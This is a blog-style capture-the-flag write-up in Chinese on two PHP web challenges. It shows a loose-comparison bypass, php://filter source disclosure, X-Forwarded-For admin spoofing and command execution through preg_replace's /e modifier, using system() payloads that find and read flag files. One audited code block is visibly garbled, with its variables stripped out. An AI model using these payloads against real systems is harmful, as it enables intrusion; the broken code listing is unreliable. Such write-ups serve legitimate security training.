跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP算法

Web 安全实战:PHP 弱类型与正则替换漏洞分析

通过两个 Web 安全案例演示了 PHP 常见漏洞利用方法。第一个案例通过弱类型比较绕过数字验证获取奖金;第二个案例利用文件包含配合伪协议读取源码,并通过正则表达式替换功能执行系统命令获取 Flag。重点涉及 PHP 弱类型特性、preg_replace 函数危险用法及文件读取技巧。

疯疯癫癫发布于 2026/4/6更新于 2026/9/974 浏览
Web 安全实战:PHP 弱类型与正则替换漏洞分析

一:Lottery

打开后发现这个靶场加载异常缓慢,然后提供了源码。我们先不看源码先熟悉一下这个网站是什么。

这应该是一个类似猜数字游戏,选对 7 个号码即可得到相应奖励。

随便输入 7 个数字发现一个也没中,白费 2 元。

尝试点击网站功能发现如果想要 flag 需要有相对应的余额。

思路是利用抓包看看能不能修改我们的余额。

好像成功了,但刷新后页面上的数字变回原来的余额,说明不能直接修改余额。

查看猜数字页面的 API 代码审计,核心代码如下:

//部分代码
function random_num(){ 
    do { $byte = openssl_random_pseudo_bytes(10, $cstrong); $num = ord($byte); } while ($num >= 250); 
    if(!$cstrong){ response_error('server need be checked, tell admin'); } 
    $num /= 25; return strval(floor($num)); 
} 
function random_win_nums(){ 
    $result = ''; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; 
} 
function buy($req){ 
    (); (); 
     = []; 
     = []; 
     = (); 
     = ; 
    (=; <; ++){ 
        ([] == []){ ++; } 
    } 
     () { 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
         :  = ; ; 
        :  = ; ; 
    } 
     +=  - ; 
    [] = ; 
    ([=>,=>, =>, =>, =>]); 
} 
require_registered
require_min_money
2
$money
$_SESSION
'money'
$numbers
$req
'numbers'
$win_numbers
random_win_nums
$same_count
0
for
$i
0
$i
7
$i
if
$numbers
$i
$win_numbers
$i
$same_count
switch
$same_count
case
2
$prize
5
break
case
3
$prize
20
break
case
4
$prize
300
break
case
5
$prize
1800
break
case
6
$prize
200000
break
case
7
$prize
5000000
break
default
$prize
0
break
$money
$prize
2
$_SESSION
'money'
$money
response
'status'
'ok'
'numbers'
$numbers
'win_numbers'
$win_numbers
'money'
$money
'prize'
$prize

关键点在于使用两个等号 == 来判断传入的数字和随机生成的数字。由于未检查类型,可以直接利用 PHP 的弱类型比较特性绕过验证。

将 numbers 字段改为 [true,true,true,true,true,true,true]。

成功利用弱类型得到奖金并拿到 flag。

二:ics-05

打开页面如下所示,随便点击发现只有此页面可打开,但是好像什么都没有。

打开页面源代码查看,发现一个 href 可点。

打开链接页面,修改其为 index.php 回显 ok。既然这样,如果我们能够读取到这个 index.php 应该就可以拿到 flag。

读取文件使用伪协议:

php://filter/read=convert.base64-encode/resource=index.php

复制这个 base64 然后解密。

打开代码后观察,如果 ip 为 127.0.0.1 就是 admin,然后还有一个 preg_replace 方法,pattern 第一个参数的结尾包含了 /e 修正符的话,第二个参数就会被当做 php 代码执行。

打开抓包工具,修改 IP 后为 admin。

然后添加三个参数:

?pat=/heihei/e&rep=system('find+-name+flag')&sub=heihei

需要使用 + 置换空格,得到 flag.php。

成功拿到 flag,但注意 flag 不在页面渲染中显示。

?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

解密后的 index.php 代码

<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul> <li><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset> <legend>设备列表</legend> </fieldset> <table></table> <script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开 | 关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的 hover 效果、二级菜单等功能,需要依赖 element 模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>

三:总结

本文通过两个 Web 题目演示了如何利用代码审计和漏洞挖掘技术获取 flag。在 Lottery 题目中,通过分析网站的猜数字游戏功能,发现使用 PHP 的弱类型比较漏洞,成功绕过验证并获取奖金和 flag。在 ics-05 题目中,通过修改 IP 地址和利用 PHP 的 preg_replace 函数执行系统命令,成功读取并解密 index.php 文件,最终获取 flag。

目录

  1. 一:Lottery
  2. 二:ics-05
  3. 三:总结

更多推荐文章

查看全部
  • OpenClaw 多机器人多 Agent 模式:打造你的 AI 助手团队
  • VSCode 与 PyCharm 配置 OpenCV 实战指南(Python 与 C++)
  • 仿生学突破:SILD 模型助力无人机电力线避障检测
  • 前端无障碍性:构建包容性 Web 应用
  • 大数据开发进阶:HDFS 分布式文件系统原理与实战
  • 数据结构(清华大学)严蔚敏版教材
  • 基于 AI WebUI Chatbot 的实战开发:从架构设计到生产环境部署
  • 基于机器学习的生态组合塘强化城市污水处理厂脱氮优化
  • 腾讯混元大模型 AIGC 系列产品深度体验
  • Python 开发者兼职接单指南:核心技术、能力标准与学习路径
  • MK米客方德SD NAND:无人机存储的高效解决方案
  • Stable Diffusion 像素人物帧动画制作指南(含 AnimeEffects 教程)
  • Linux驱动架构全景解析:从设备分类到框架实现深度指南
  • C++ 毕业设计项目效率提升实战:从冗余代码到高性能架构
  • 前端函数防抖原理与实现详解
  • 二级 Python 考试真题及参考代码解析
  • 夸克网盘精选资源:书籍软件游戏与学习教程合集
  • 基于 Mistral-7B 从简历中提取实体构建知识图谱
  • CSS 基础语法、选择器与常见样式详解
  • C++ 各标准版本核心特性差异对比

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online